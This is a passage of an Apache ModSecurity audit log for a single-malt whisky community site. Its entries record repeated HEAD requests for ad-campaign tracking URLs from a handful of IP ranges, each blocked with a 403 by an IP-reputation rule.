Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274521689392 24687 (- - -)
Stopwatch2: 1789274521689392 24687; combined=17432, p1=444, p2=16126, p3=310, p4=19, p5=533, sr=225, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c91fea28-Z--

--7006d703-A--
[13/Sep/2026:07:42:02.081696 +0300] aqYpmmM7dE9KgIIOpQhjBwAAANY 95.134.102.153 57912 127.0.0.1 7081
--7006d703-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.153
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--7006d703-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--7006d703-E--

--7006d703-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274522072682 9080 (- - -)
Stopwatch2: 1789274522072682 9080; combined=7071, p1=310, p2=6243, p3=86, p4=8, p5=423, sr=120, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--7006d703-Z--

--edc96202-A--
[13/Sep/2026:07:42:02.444444 +0300] aqYpmmM7dE9KgIIOpQhjCAAAAMg 151.243.174.154 57920 127.0.0.1 7081
--edc96202-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.154
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--edc96202-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--edc96202-E--

--edc96202-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274522434675 9825 (- - -)
Stopwatch2: 1789274522434675 9825; combined=7618, p1=346, p2=6672, p3=203, p4=12, p5=385, sr=153, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--edc96202-Z--

--a01aec2d-A--
[13/Sep/2026:07:42:31.982666 +0300] aqYpt2M7dE9KgIIOpQhjDQAAAMA 91.124.31.4 41474 127.0.0.1 7081
--a01aec2d-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 91.124.31.4
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--a01aec2d-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--a01aec2d-E--

--a01aec2d-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274551976994 5725 (- - -)
Stopwatch2: 1789274551976994 5725; combined=4183, p1=299, p2=3587, p3=61, p4=6, p5=230, sr=120, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--a01aec2d-Z--

--ef0c5602-A--
[13/Sep/2026:07:42:32.273287 +0300] aqYpuEwu1RSkptiiNIXwUgAAAJU 46.203.158.176 41484 127.0.0.1 7081
--ef0c5602-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 46.203.158.176
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--ef0c5602-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--ef0c5602-E--

--ef0c5602-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274552267298 6026 (- - -)
Stopwatch2: 1789274552267298 6026; combined=4538, p1=378, p2=3858, p3=60, p4=6, p5=235, sr=101, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--ef0c5602-Z--

--b07ace0e-A--
[13/Sep/2026:07:42:32.568712 +0300] aqYpuGM7dE9KgIIOpQhjDgAAANE 91.124.31.12 41490 127.0.0.1 7081
--b07ace0e-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 91.124.31.12
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--b07ace0e-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--b07ace0e-E--

--b07ace0e-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274552563482 5270 (- - -)
Stopwatch2: 1789274552563482 5270; combined=3911, p1=283, p2=3231, p3=65, p4=6, p5=326, sr=166, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b07ace0e-Z--

--53b5a945-A--
[13/Sep/2026:07:43:15.551724 +0300] aqYp42M7dE9KgIIOpQhjFwAAAMk 95.134.102.142 43402 127.0.0.1 7081
--53b5a945-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.142
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--53b5a945-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--53b5a945-E--

--53b5a945-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274595545855 5909 (- - -)
Stopwatch2: 1789274595545855 5909; combined=4416, p1=237, p2=3788, p3=58, p4=6, p5=327, sr=112, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--53b5a945-Z--

--5faffa7b-A--
[13/Sep/2026:07:43:22.056068 +0300] aqYp6kwu1RSkptiiNIXwVgAAAI8 95.134.102.76 43422 127.0.0.1 7081
--5faffa7b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.76
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--5faffa7b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--5faffa7b-E--

--5faffa7b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274602049476 6641 (- - -)
Stopwatch2: 1789274602049476 6641; combined=4156, p1=270, p2=3492, p3=62, p4=6, p5=326, sr=95, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--5faffa7b-Z--

--89527f65-A--
[13/Sep/2026:07:43:22.424111 +0300] aqYp6jTJ6xTvcJoem7f2tQAAAFA 151.243.174.182 43426 127.0.0.1 7081
--89527f65-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.182
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--89527f65-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--89527f65-E--

--89527f65-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274602414665 9616 (- - -)
Stopwatch2: 1789274602414665 9616; combined=7045, p1=363, p2=6186, p3=162, p4=12, p5=321, sr=153, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--89527f65-Z--

--2245706d-A--
[13/Sep/2026:07:44:03.624823 +0300] aqYqE2M7dE9KgIIOpQhjIwAAAMY 151.243.174.109 52292 127.0.0.1 7081
--2245706d-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.109
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--2245706d-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--2245706d-E--

--2245706d-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274643618478 6396 (- - -)
Stopwatch2: 1789274643618478 6396; combined=4753, p1=309, p2=4028, p3=90, p4=7, p5=319, sr=172, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--2245706d-Z--

--dcc7af5b-A--
[13/Sep/2026:07:44:03.974798 +0300] aqYqE0wu1RSkptiiNIXwXQAAAII 151.243.174.120 52296 127.0.0.1 7081
--dcc7af5b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.120
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--dcc7af5b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--dcc7af5b-E--

--dcc7af5b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274643968186 6664 (- - -)
Stopwatch2: 1789274643968186 6664; combined=4842, p1=382, p2=4067, p3=74, p4=9, p5=309, sr=131, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--dcc7af5b-Z--

--d0c91962-A--
[13/Sep/2026:07:44:04.310997 +0300] aqYqFGM7dE9KgIIOpQhjJAAAAMc 95.134.102.162 52310 127.0.0.1 7081
--d0c91962-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.162
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--d0c91962-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--d0c91962-E--

--d0c91962-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274644305083 5975 (- - -)
Stopwatch2: 1789274644305083 5975; combined=4483, p1=239, p2=3856, p3=76, p4=9, p5=303, sr=104, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d0c91962-Z--

--e09b444a-A--
[13/Sep/2026:07:44:08.636040 +0300] aqYqGCsVWymXUono-eRRgAAAAA4 151.243.174.181 50604 127.0.0.1 7081
--e09b444a-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.181
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--e09b444a-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--e09b444a-E--

--e09b444a-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274648630001 6078 (- - -)
Stopwatch2: 1789274648630001 6078; combined=4452, p1=214, p2=3929, p3=65, p4=7, p5=237, sr=90, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e09b444a-Z--

--6af14a3f-A--
[13/Sep/2026:07:44:08.986038 +0300] aqYqGCsVWymXUono-eRRgQAAAAQ 151.243.174.229 50618 127.0.0.1 7081
--6af14a3f-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.229
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--6af14a3f-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--6af14a3f-E--

--6af14a3f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274648978653 7438 (- - -)
Stopwatch2: 1789274648978653 7438; combined=5572, p1=291, p2=4841, p3=95, p4=9, p5=336, sr=128, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6af14a3f-Z--

--26d9015d-A--
[13/Sep/2026:07:44:09.107955 +0300] aqYqGSsVWymXUono-eRRgwAAAAY 95.134.102.76 50636 127.0.0.1 7081
--26d9015d-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.76
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--26d9015d-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--26d9015d-E--

--26d9015d-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274649086792 21212 (- - -)
Stopwatch2: 1789274649086792 21212; combined=35134, p1=223, p2=3782, p3=64, p4=7, p5=15654, sr=99, sw=0, l=0, gc=15404
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--26d9015d-Z--

--4568e756-A--
[13/Sep/2026:07:44:21.059474 +0300] aqYqJTTJ6xTvcJoem7f2xAAAAE4 151.243.174.177 54886 127.0.0.1 7081
--4568e756-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.177
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--4568e756-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--4568e756-E--

--4568e756-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274661051430 8093 (- - -)
Stopwatch2: 1789274661051430 8093; combined=6136, p1=432, p2=5247, p3=97, p4=10, p5=350, sr=251, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--4568e756-Z--

--6fb39237-A--
[13/Sep/2026:07:44:21.384306 +0300] aqYqJWM7dE9KgIIOpQhjKQAAAMI 95.134.102.249 54892 127.0.0.1 7081
--6fb39237-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.249
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--6fb39237-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--6fb39237-E--

--6fb39237-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274661378023 6323 (- - -)
Stopwatch2: 1789274661378023 6323; combined=4723, p1=254, p2=4145, p3=70, p4=8, p5=246, sr=107, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--6fb39237-Z--

--4f913e3d-A--
[13/Sep/2026:07:44:21.722011 +0300] aqYqJWM7dE9KgIIOpQhjKgAAAMs 151.243.174.19 54908 127.0.0.1 7081
--4f913e3d-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.19
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--4f913e3d-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--4f913e3d-E--

--4f913e3d-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274661716447 5630 (- - -)
Stopwatch2: 1789274661716447 5630; combined=4187, p1=257, p2=3608, p3=70, p4=7, p5=244, sr=127, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--4f913e3d-Z--

--7b62922a-A--
[13/Sep/2026:07:44:35.350349 +0300] aqYqM0wu1RSkptiiNIXwYgAAAIw 151.243.174.149 47158 127.0.0.1 7081
--7b62922a-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.149
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--7b62922a-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--7b62922a-E--

--7b62922a-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789274675343585 6806 (- - -)
Stopwatch2: 1789274675343585 6806; combined=4500, p1=327, p2=3811, p3=67, p4=7, p5=288, sr=146, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--7b62922a-Z--

--d4ca6d16-A--
[13/Sep/2026:07:44:35.456753 +0300] aqYqM2M7dE9KgIIOpQhjKwAAAMw 151.243.174.120 47170 127.0.0.1 7081
--d4ca6d16-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.120
X-Accel-Internal: /internal-nginx-static-location
